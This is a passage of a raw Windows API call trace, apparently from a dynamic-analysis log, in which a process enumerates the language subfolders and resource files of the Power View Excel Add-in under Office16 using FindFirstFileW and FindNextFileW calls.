ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.es.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x3b8b208, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.es.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.589] FindClose (in: hFindFile=0x3b8b208 | out: hFindFile=0x3b8b208) returned 1 [0091.591] GetProcessHeap () returned 0x11a0000 [0091.591] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.591] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="et", cAlternateFileName="")) returned 1 [0091.591] GetProcessHeap () returned 0x11a0000 [0091.591] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0091.593] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3e58, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11060, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d04716, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d04716, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc72b8a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc72b8a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.et.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.594] FindNextFileW (in: hFindFile=0x3b8b3c8, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.et.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.594] FindClose (in: hFindFile=0x3b8b3c8 | out: hFindFile=0x3b8b3c8) returned 1 [0091.595] GetProcessHeap () returned 0x11a0000 [0091.595] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.595] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="eu", cAlternateFileName="")) returned 1 [0091.595] GetProcessHeap () returned 0x11a0000 [0091.595] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b708 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c5d9c5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c5d9c5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d2a978, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.598] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.eu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.599] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.eu.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.599] FindClose (in: hFindFile=0x3b8b708 | out: hFindFile=0x3b8b708) returned 1 [0091.600] GetProcessHeap () returned 0x11a0000 [0091.600] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.600] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="fi", cAlternateFileName="")) returned 1 [0091.600] GetProcessHeap () returned 0x11a0000 [0091.600] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0091.602] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.602] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13977942, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.602] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.603] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c1f8d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c1f8d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.603] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.603] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.fi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.603] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.fi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.603] FindClose (in: hFindFile=0x3b8b488 | out: hFindFile=0x3b8b488) returned 1 [0091.604] GetProcessHeap () returned 0x11a0000 [0091.604] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="fr", cAlternateFileName="")) returned 1 [0091.604] GetProcessHeap () returned 0x11a0000 [0091.604] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0091.606] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4cc0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.607] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.607] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.fr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.607] FindNextFileW (in: hFindFile=0x3b8b348, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.fr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.607] FindClose (in: hFindFile=0x3b8b348 | out: hFindFile=0x3b8b348) returned 1 [0091.608] GetProcessHeap () returned 0x11a0000 [0091.608] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.608] GetProcessHeap () returned 0x11a0000 [0091.608] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0091.612] GetProcessHeap () returned 0x11a0000 [0091.612] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.612] GetProcessHeap () returned 0x11a0000 [0091.612] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0092.167] GetProcessHeap () returned 0x11a0000 [0092.167] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.167] GetProcessHeap () returned 0x11a0000 [0092.167] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x347e548 | out: 